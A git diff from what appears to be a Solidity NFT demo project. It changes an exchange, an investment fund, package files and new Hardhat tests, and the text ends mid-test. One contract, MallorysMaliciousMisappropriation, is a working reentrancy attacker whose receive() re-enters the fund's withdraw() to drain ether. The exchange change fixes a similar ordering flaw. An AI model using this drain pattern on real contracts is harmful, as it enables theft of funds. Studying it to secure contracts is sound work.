diff --git a/contracts/MallorysMaliciousMisappropriation.sol b/contracts/MallorysMaliciousMisappropriation.sol index 210d3f4..5f65a07 100644 --- a/contracts/MallorysMaliciousMisappropriation.sol +++ b/contracts/MallorysMaliciousMisappropriation.sol @@ -7,7 +7,6 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; contract MallorysMaliciousMisappropriation is Ownable { NftInvestmentFund public nftInvestmentFund; - uint256 private tokenCount; error InvestmentFundNotEnded(); error FailedToSendEther(); @@ -19,8 +18,11 @@ contract MallorysMaliciousMisappropriation is Ownable { // Receive is called when the contract receives Ether // solhint-disable-next-line no-complex-fallback receive() external payable { + FundToken fundToken = FundToken(nftInvestmentFund.fundToken()); + uint256 withdrawAmount = (nftInvestmentFund.balanceAtEnd() / nftInvestmentFund.fundTokensAtEnd()) * + fundToken.balanceOf(address(this)); + // The attack - uint256 withdrawAmount = (nftInvestmentFund.balanceAtEnd() / nftInvestmentFund.fundTokensAtEnd()) * tokenCount; if (address(nftInvestmentFund).balance >= withdrawAmount) { nftInvestmentFund.withdraw(); } @@ -30,8 +32,7 @@ contract MallorysMaliciousMisappropriation is Ownable { if (!nftInvestmentFund.ended()) revert InvestmentFundNotEnded(); FundToken fundToken = FundToken(nftInvestmentFund.fundToken()); - tokenCount = fundToken.balanceOf(address(this)); - fundToken.approve(address(nftInvestmentFund), tokenCount); + fundToken.approve(address(nftInvestmentFund), fundToken.balanceOf(address(this))); nftInvestmentFund.withdraw(); } diff --git a/contracts/NftExchange.sol b/contracts/NftExchange.sol index b86c354..d77ba31 100644 --- a/contracts/NftExchange.sol +++ b/contracts/NftExchange.sol @@ -65,13 +65,12 @@ contract NftExchange is Pausable, Ownable, IERC721Receiver { if (listing.isSold) revert NFTAlreadySold(); if (msg.value < listing.price) revert InsufficientFunds(); + listing.isSold = true; + emit NftSold(listingId, msg.sender); + (bool sent, ) = listing.seller.call{ value: listing.price }(""); if (!sent) revert FailedToSendEther(); IERC721(listing.nftContract).safeTransferFrom(address(this), msg.sender, listing.nftTokenId); - - listing.isSold = true; - - emit NftSold(listingId, msg.sender); } function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) { diff --git a/contracts/NftInvestmentFund.sol b/contracts/NftInvestmentFund.sol index 810a1c6..41fee10 100644 --- a/contracts/NftInvestmentFund.sol +++ b/contracts/NftInvestmentFund.sol @@ -13,8 +13,6 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver { address public fundManager; - uint public dummy; - string public name; FundToken public fundToken; uint256 public pricePerToken; @@ -120,21 +118,6 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver { exchange.buyNFT{ value: price }(listingId); } - // Handle receiving NFT - function onERC721Received( - address, - address, - uint256 tokenId, - bytes calldata - ) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) returns (bytes4) { - if (ownedNftTokenIds[msg.sender].length == 0) { - ownedNftAddresses.push(msg.sender); - } - ownedNftTokenIds[msg.sender].push(tokenId); - - return IERC721Receiver.onERC721Received.selector; - } - // Register NFT not transferred via safeTransferFrom function registerNFT( address nftAddress, @@ -199,6 +182,21 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver { receive() external payable {} + // Handle receiving NFT + function onERC721Received( + address, + address, + uint256 tokenId, + bytes calldata + ) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) returns (bytes4) { + if (ownedNftTokenIds[msg.sender].length == 0) { + ownedNftAddresses.push(msg.sender); + } + ownedNftTokenIds[msg.sender].push(tokenId); + + return IERC721Receiver.onERC721Received.selector; + } + function ownedNftAddressesCount() external view returns (uint256) { return ownedNftAddresses.length; } diff --git a/package-lock.json b/package-lock.json index 45746d6..e75c533 100644 --- a/package-lock.json +++ b/package-lock.json @@ -10,7 +10,8 @@ "license": "ISC", "dependencies": { "@openzeppelin/contracts": "^5.1.0", - "r": "^0.0.5" + "r": "^0.0.5", + "surya": "^0.4.12" }, "devDependencies": { "@inquirer/prompts": "^7.0.1", @@ -3321,7 +3322,6 @@ "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, "license": "MIT", "engines": { "node": ">=8" @@ -3354,9 +3354,7 @@ "version": "0.5.0-alpha.4", "resolved": "https://registry.npmjs.org/antlr4ts/-/antlr4ts-0.5.0-alpha.4.tgz", "integrity": "sha512-WPQDt1B74OfPv/IMS2ekXAKkTZIHl88uMetg6q3OTqgFxZ/dxDXI0EWLyZid/1Pe6hTftyg5N7gel5wNAGxXyQ==", - "dev": true, - "license": "BSD-3-Clause", - "peer": true + "license": "BSD-3-Clause" }, "node_modules/anymatch": { "version": "3.1.3", @@ -3759,6 +3757,12 @@ "node": ">= 0.8" } }, + "node_modules/c3-linearization": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/c3-linearization/-/c3-linearization-0.3.0.tgz", + "integrity": "sha512-eQNsZQhFSJAhrNrITy2FpKh7EHS98q/pniDtQhndWqqsvayiPeqZ9T6I9V9PsHcm0nc+ZYJHKUvI/hh37I33HQ==", + "license": "MIT" + }, "node_modules/cacheable-lookup": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-7.0.0.tgz", @@ -4102,9 +4106,7 @@ "version": "1.4.0", "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==", - "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=0.1.90" } @@ -4602,7 +4604,6 @@ "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, "license": "MIT" }, "node_modules/enquirer": { @@ -4668,7 +4669,6 @@ "version": "3.2.0", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", - "dev": true, "license": "MIT", "engines": { "node": ">=6" @@ -5850,7 +5850,6 @@ "version": "2.0.5", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", - "dev": true, "license": "ISC", "engines": { "node": "6.* || 8.* || >= 10.*" @@ -6079,6 +6078,18 @@ "dev": true, "license": "MIT" }, + "node_modules/graphviz": { + "version": "0.0.9", + "resolved": "https://registry.npmjs.org/graphviz/-/graphviz-0.0.9.tgz", + "integrity": "sha512-SmoY2pOtcikmMCqCSy2NO1YsRfu9OO0wpTlOYW++giGjfX1a6gax/m1Fo8IdUd0/3H15cTOfR1SMKwohj4LKsg==", + "license": "GPL-3.0", + "dependencies": { + "temp": "~0.4.0" + }, + "engines": { + "node": ">=0.6.8" + } + }, "node_modules/handlebars": { "version": "4.7.8", "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz", @@ -6284,6 +6295,31 @@ "minimalistic-assert": "^1.0.1" } }, + "node_modules/hasha": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/hasha/-/hasha-5.2.2.tgz", + "integrity": "sha512-Hrp5vIK/xr5SkeN2onO32H0MgNZ0f17HRNH39WfL0SYUNOTZ5Lz1TJ8Pajo/87dYGEFlLMm7mIc/k/s6Bvz9HQ==", + "license": "MIT", + "dependencies": { + "is-stream": "^2.0.0", + "type-fest": "^0.8.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/hasha/node_modules/type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=8" + } + }, "node_modules/hasown": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", @@ -6586,7 +6622,6 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true, "license": "MIT", "engines": { "node": ">=8" @@ -6636,6 +6671,18 @@ "node": ">=8" } }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/is-unicode-supported": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", @@ -8322,7 +8369,6 @@ "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", - "dev": true, "license": "MIT", "engines": { "node": ">=0.10.0" @@ -8697,6 +8743,18 @@ "node": "*" } }, + "node_modules/sha1-file": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/sha1-file/-/sha1-file-2.0.1.tgz", + "integrity": "sha512-L4Kum9Lp8cWqcGKycZcXxR6spUoG4idDIUzAKjPiELnIZWxiFlZ5HFVzFxVxuWuGPsrraeL0JoGk0nFZ7AGFEQ==", + "license": "MIT", + "dependencies": { + "hasha": "^5.2.0" + }, + "engines": { + "node": ">=10" + } + }, "node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", @@ -9269,7 +9327,6 @@ "version": "4.2.3", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, "license": "MIT", "dependencies": { "emoji-regex": "^8.0.0", @@ -9284,7 +9341,6 @@ "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, "license": "MIT", "dependencies": { "ansi-regex": "^5.0.1" @@ -9333,6 +9389,74 @@ "node": ">=4" } }, + "node_modules/surya": { + "version": "0.4.12", + "resolved": "https://registry.npmjs.org/surya/-/surya-0.4.12.tgz", + "integrity": "sha512-DChWScPkYSeJ7nBOKnfFsQoYrFWgSdA3rgCGSjoWxe4QgCOZ5TPz27d9QpsX3fY94SfDeTmAs7x6iv2AXl+7Hg==", + "license": "Apache-2.0", + "dependencies": { + "@solidity-parser/parser": "^0.16.1", + "c3-linearization": "^0.3.0", + "colors": "^1.4.0", + "graphviz": "0.0.9", + "sha1-file": "^2.0.0", + "treeify": "^1.1.0", + "yargs": "^17.0.0" + }, + "bin": { + "surya": "bin/surya" + } + }, + "node_modules/surya/node_modules/@solidity-parser/parser": { + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/@solidity-parser/parser/-/parser-0.16.2.tgz", + "integrity": "sha512-PI9NfoA3P8XK2VBkK5oIfRgKDsicwDZfkVq9ZTBCQYGOP1N2owgY2dyLGyU5/J/hQs8KRk55kdmvTLjy3Mu3vg==", + "license": "MIT", + "dependencies": { + "antlr4ts": "^0.5.0-alpha.4" + } + }, + "node_modules/surya/node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/surya/node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "license": "MIT", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/surya/node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, "node_modules/sync-request": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/sync-request/-/sync-request-6.1.0.tgz", @@ -9440,6 +9564,14 @@ "node": ">=8" } }, + "node_modules/temp": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/temp/-/temp-0.4.0.tgz", + "integrity": "sha512-IsFisGgDKk7qzK9erMIkQe/XwiSUdac7z3wYOsjcLkhPBy3k1SlvLoIh2dAHIlEpgA971CgguMrx9z8fFg7tSA==", + "engines": [ + "node >=0.4.0" + ] + }, "node_modules/text-table": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", @@ -9543,6 +9675,15 @@ "node": ">=0.6" } }, + "node_modules/treeify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/treeify/-/treeify-1.1.0.tgz", + "integrity": "sha512-1m4RA7xVAJrSGrrXGs0L3YTwyvBs2S8PbRHaLZAkFw7JR8oIFwYtysxlBZhYIa7xSyiYJKZ3iGrrk55cGA3i9A==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, "node_modules/ts-api-utils": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-1.3.0.tgz", @@ -10373,7 +10514,6 @@ "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - "dev": true, "license": "MIT", "dependencies": { "ansi-styles": "^4.0.0", @@ -10391,7 +10531,6 @@ "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, "license": "MIT", "dependencies": { "color-convert": "^2.0.1" @@ -10407,7 +10546,6 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, "license": "MIT", "dependencies": { "color-name": "~1.1.4" @@ -10420,7 +10558,6 @@ "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true, "license": "MIT" }, "node_modules/wrappy": { @@ -10456,7 +10593,6 @@ "version": "5.0.8", "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", - "dev": true, "license": "ISC", "engines": { "node": ">=10" diff --git a/package.json b/package.json index 7646001..b374076 100644 --- a/package.json +++ b/package.json @@ -3,7 +3,7 @@ "version": "1.0.0", "scripts": { "compile": "npx hardhat compile", - "test": "REPORT_GAS=true CONTRACT_SIZER=true npx hardhat test", + "test": "npx hardhat test", "lint": "npm run lint:eslint && npm run lint:prettier", "lint:eslint": "npx eslint .", "lint:prettier": "npx prettier --check \"**/*.{js,sol,ts,json,jsx,tsx}\"", @@ -31,6 +31,7 @@ }, "dependencies": { "@openzeppelin/contracts": "^5.1.0", - "r": "^0.0.5" + "r": "^0.0.5", + "surya": "^0.4.12" } } diff --git a/test/FundToken.ts b/test/FundToken.ts new file mode 100644 index 0000000..bc9f098 --- /dev/null +++ b/test/FundToken.ts @@ -0,0 +1,62 @@ +import { loadFixture } from '@nomicfoundation/hardhat-toolbox-viem/network-helpers' +import { expect } from 'chai' +import hre from 'hardhat' +import { getAddress } from 'viem' + +describe('FundToken', function () { + async function baseScenario() { + const [owner, alice] = await hre.viem.getWalletClients() + + const fundToken = await hre.viem.deployContract('FundToken', [owner.account.address, 'FundToken', 'FT'], { + client: { wallet: owner } + }) + + return { fundToken, owner, alice } + } + + it('Initial owner', async function () { + const { fundToken, owner } = await loadFixture(baseScenario) + + expect(await fundToken.read.owner()).to.equal(getAddress(owner.account.address)) + }) + + it('Name and symbol', async function () { + const { fundToken } = await loadFixture(baseScenario) + + expect(await fundToken.read.name()).to.equal('FundToken') + expect(await fundToken.read.symbol()).to.equal('FT') + }) + + it('No tokens at start', async function () { + const { fundToken } = await loadFixture(baseScenario) + expect(await fundToken.read.totalSupply()).to.equal(0n) + }) + + it('Right person minting to themselves', async function () { + const { fundToken, owner } = await loadFixture(baseScenario) + expect(await fundToken.read.totalSupply()).to.equal(0n) + + await fundToken.write.mint([owner.account.address, 1n]) + expect(await fundToken.read.totalSupply()).to.equal(1n) + expect(await fundToken.read.balanceOf([owner.account.address])).to.equal(1n) + }) + + it('Right person minting to others', async function () { + const { fundToken, alice } = await loadFixture(baseScenario) + expect(await fundToken.read.totalSupply()).to.equal(0n) + + await fundToken.write.mint([alice.account.address, 1n]) + expect(await fundToken.read.totalSupply()).to.equal(1n) + expect(await fundToken.read.balanceOf([alice.account.address])).to.equal(1n) + }) + + it('Wrong person minting', async function () { + const { fundToken, owner, alice } = await loadFixture(baseScenario) + expect(await fundToken.read.totalSupply()).to.equal(0n) + + await expect( + fundToken.write.mint([owner.account.address, 1n], { account: alice.account }) + ).revertedWithCustomError(fundToken, 'OwnableUnauthorizedAccount') + expect(await fundToken.read.totalSupply()).to.equal(0n) + }) +}) diff --git a/test/FunnyNft.ts b/test/FunnyNft.ts new file mode 100644 index 0000000..a071174 --- /dev/null +++ b/test/FunnyNft.ts @@ -0,0 +1,69 @@ +import { loadFixture } from '@nomicfoundation/hardhat-toolbox-viem/network-helpers' +import { expect } from 'chai' +import hre from 'hardhat' +import { getAddress } from 'viem' + +describe('FunnyNft', function () { + async function baseScenario() { + const [owner, alice] = await hre.viem.getWalletClients() + + const funnyNft = await hre.viem.deployContract('FunnyNft', [], { client: { wallet: owner } }) + + return { funnyNft, owner, alice } + } + + it('Supports interface', async function () { + const { funnyNft } = await loadFixture(baseScenario) + + // IERC721 + expect(await funnyNft.read.supportsInterface(['0x80ac58cd'])).to.equal(true) + // IERC721Enumerable + expect(await funnyNft.read.supportsInterface(['0x780e9d63'])).to.equal(true) + // Non existent + expect(await funnyNft.read.supportsInterface(['0xdeadbeef'])).to.equal(false) + }) + + it('No tokens at start', async function () { + const { funnyNft } = await loadFixture(baseScenario) + expect(await funnyNft.read.totalSupply()).to.equal(0n) + }) + + it('Right person minting to themselves', async function () { + const { funnyNft, owner } = await loadFixture(baseScenario) + expect(await funnyNft.read.totalSupply()).to.equal(0n) + + await funnyNft.write.safeMint([owner.account.address]) + expect(await funnyNft.read.ownerOf([0n])).to.equal(getAddress(owner.account.address)) + expect(await funnyNft.read.totalSupply()).to.equal(1n) + }) + + it('Right person minting to others', async function () { + const { funnyNft, alice } = await loadFixture(baseScenario) + expect(await funnyNft.read.totalSupply()).to.equal(0n) + + await funnyNft.write.safeMint([alice.account.address]) + expect(await funnyNft.read.ownerOf([0n])).to.equal(getAddress(alice.account.address)) + expect(await funnyNft.read.totalSupply()).to.equal(1n) + }) + + it('Wrong person minting', async function () { + const { funnyNft, owner, alice } = await loadFixture(baseScenario) + expect(await funnyNft.read.totalSupply()).to.equal(0n) + + await expect( + funnyNft.write.safeMint([owner.account.address], { account: alice.account }) + ).revertedWithCustomError(funnyNft, 'OwnableUnauthorizedAccount') + expect(await funnyNft.read.totalSupply()).to.equal(0n) + }) + + it('Token URI', async function () { + const { funnyNft, owner } = await loadFixture(baseScenario) + expect(await funnyNft.read.totalSupply()).to.equal(0n) + + await funnyNft.write.safeMint([owner.account.address]) + expect(await funnyNft.read.ownerOf([0n])).to.equal(getAddress(owner.account.address)) + expect(await funnyNft.read.totalSupply()).to.equal(1n) + + expect(await funnyNft.read.tokenURI([0n])).to.equal('http://localhost:5173/funny/0') + }) +}) diff --git a/test/NftExchange.ts b/test/NftExchange.ts new file mode 100644 index 0000000..375cf6d --- /dev/null +++ b/test/NftExchange.ts @@ -0,0 +1,225 @@ +import { loadFixture } from '@nomicfoundation/hardhat-toolbox-viem/network-helpers' +import { expect } from 'chai' +import hre from 'hardhat' +import { getAddress } from 'viem' + +describe('NFT Exchange', function () { + async function baseScenario() { + const [owner, alice] = await hre.viem.getWalletClients() + + const nftExchange = await hre.viem.deployContract('NftExchange', [], { + client: { wallet: owner } + }) + + const nft = await hre.viem.deployContract('UniqueNft', [], { + client: { wallet: owner } + }) + + return { nftExchange, nft, owner, alice } + } + + async function offeredNftScenario() { + const [owner, alice] = await hre.viem.getWalletClients() + + const nftExchange = await hre.viem.deployContract('NftExchange', [], { + client: { wallet: owner } + }) + + const nft = await hre.viem.deployContract('UniqueNft', [], { + client: { wallet: owner } + }) + + await nft.write.approve([nftExchange.address, 0n]) + await nftExchange.write.sellNFT([nft.address, 0n, 200n]) + + return { nftExchange, nft, owner, alice } + } + + it('Creation', async function () { + const { nftExchange, owner } = await loadFixture(baseScenario) + expect(await nftExchange.read.owner()).to.equal(getAddress(owner.account.address)) + expect(await nftExchange.read.numberOfListings()).to.equal(0n) + }) + + it('Sell owned and approved NFT', async function () { + const { nftExchange, nft, owner } = await loadFixture(baseScenario) + expect(await nftExchange.read.owner()).to.equal(getAddress(owner.account.address)) + expect(await nftExchange.read.numberOfListings()).to.equal(0n) + expect(await nft.read.ownerOf([0n])).to.equal(getAddress(owner.account.address)) + + await nft.write.approve([nftExchange.address, 0n]) + + const { result: sellResult, request: sellRequest } = await nftExchange.simulate.sellNFT( + [nft.address, 0n, 200n], + { + account: owner.account.address + } + ) + expect(sellResult).to.equal(0n) + expect(await owner.writeContract(sellRequest)).to.emit(nftExchange, 'NftOffered') + + expect(await nftExchange.read.numberOfListings()).to.equal(1n) + + const [listingId, nftContract, nftTokenId, seller, price, isSold] = await nftExchange.read.listings([0n]) + expect(listingId).to.equal(0n) + expect(nftContract).to.equal(getAddress(nft.address)) + expect(nftTokenId).to.equal(0n) + expect(seller).to.equal(getAddress(owner.account.address)) + expect(price).to.equal(200n) + expect(isSold).to.equal(false) + + expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) + }) + + it('Sell not approved NFT', async function () { + const { nftExchange, nft, owner } = await loadFixture(baseScenario) + expect(await nftExchange.read.owner()).to.equal(getAddress(owner.account.address)) + expect(await nftExchange.read.numberOfListings()).to.equal(0n) + expect(await nft.read.ownerOf([0n])).to.equal(getAddress(owner.account.address)) + + await expect( + nftExchange.write.sellNFT([nft.address, 0n, 200n], { + account: owner.account.address + }) + ).to.revertedWithCustomError(nft, 'ERC721InsufficientApproval') + }) + + it('Sell while paused', async function () { + const { nftExchange, nft, owner } = await loadFixture(baseScenario) + expect(await nftExchange.read.numberOfListings()).to.equal(0n) + + await nftExchange.write.pause() + await expect( + nftExchange.write.sellNFT([nft.address, 0n, 200n], { + account: owner.account.address + }) + ).to.revertedWithCustomError(nftExchange, 'EnforcedPause') + }) + + it('Sell after unpause', async function () { + const { nftExchange, nft, owner } = await loadFixture(baseScenario) + expect(await nftExchange.read.numberOfListings()).to.equal(0n) + expect(await nft.read.ownerOf([0n])).to.equal(getAddress(owner.account.address)) + + await nft.write.approve([nftExchange.address, 0n]) + + await nftExchange.write.pause() + await expect( + nftExchange.write.sellNFT([nft.address, 0n, 200n], { + account: owner.account.address + }) + ).to.revertedWithCustomError(nftExchange, 'EnforcedPause') + + await nftExchange.write.unpause() + await nftExchange.write.sellNFT([nft.address, 0n, 200n], { + account: owner.account.address + }) + }) + + it('Buy NFT', async function () { + const { nftExchange, nft, owner, alice } = await loadFixture(offeredNftScenario) + expect(await nftExchange.read.numberOfListings()).to.equal(1n) + expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) + + const [preListingId, preNftContract, preNftTokenId, preSeller, prePrice, preIsSold] = + await nftExchange.read.listings([0n]) + expect(preListingId).to.equal(0n) + expect(preNftContract).to.equal(getAddress(nft.address)) + expect(preNftTokenId).to.equal(0n) + expect(preSeller).to.equal(getAddress(owner.account.address)) + expect(prePrice).to.equal(200n) + expect(preIsSold).to.equal(false) + + const tx = await nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) + expect(tx).to.emit(nftExchange, 'NftSold') + expect(tx).to.changeEtherBalances([owner.account, nftExchange.address, alice.account], [200n, 0n, -200n]) + + expect(await nft.read.ownerOf([0n])).to.equal(getAddress(alice.account.address)) + expect(await nftExchange.read.numberOfListings()).to.equal(1n) + + const [postListingId, postNftContract, postNftTokenId, postSeller, postPrice, postIsSold] = + await nftExchange.read.listings([0n]) + expect(postListingId).to.equal(0n) + expect(postNftContract).to.equal(getAddress(nft.address)) + expect(postNftTokenId).to.equal(0n) + expect(postSeller).to.equal(getAddress(owner.account.address)) + expect(postPrice).to.equal(200n) + expect(postIsSold).to.equal(true) + }) + + it('Buy already sold NFT', async function () { + const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) + expect(await nftExchange.read.numberOfListings()).to.equal(1n) + expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) + + await nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) + + await expect( + nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) + ).to.revertedWithCustomError(nftExchange, 'NFTAlreadySold') + }) + + it('Buy with insufficient funds NFT', async function () { + const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) + expect(await nftExchange.read.numberOfListings()).to.equal(1n) + expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) + + await expect( + nftExchange.write.buyNFT([0n], { account: alice.account, value: 100n }) + ).to.revertedWithCustomError(nftExchange, 'InsufficientFunds') + }) + + it('Buy nonexistent listing', async function () { + const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) + expect(await nftExchange.read.numberOfListings()).to.equal(1n) + expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) + + await expect(nftExchange.write.buyNFT([3n], { account: alice.account, value: 100n })).to.revertedWithoutReason() + }) + + it('Buy while paused', async function () { + const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) + expect(await nftExchange.read.numberOfListings()).to.equal(1n) + expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) + + await nftExchange.write.pause() + await expect( + nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) + ).to.revertedWithCustomError(nftExchange, 'EnforcedPause') + }) + + it('Buy after unpause', async function () { + const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) + expect(await nftExchange.read.numberOfListings()).to.equal(1n) + expect(await nft.read.ownerOf([0n])).to.equal(getAddress(nftExchange.address)) + + await nftExchange.write.pause() + await expect( + nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) + ).to.revertedWithCustomError(nftExchange, 'EnforcedPause') + + await nftExchange.write.unpause() + await nftExchange.write.buyNFT([0n], { account: alice.account, value: 200n }) + }) + + it('Wrong owner pauses and unpauses', async function () { + const { nftExchange, nft, alice } = await loadFixture(offeredNftScenario) + + expect(await nftExchange.read.paused()).to.equal(false) + await expect(nftExchange.write.pause({ account: alice.account 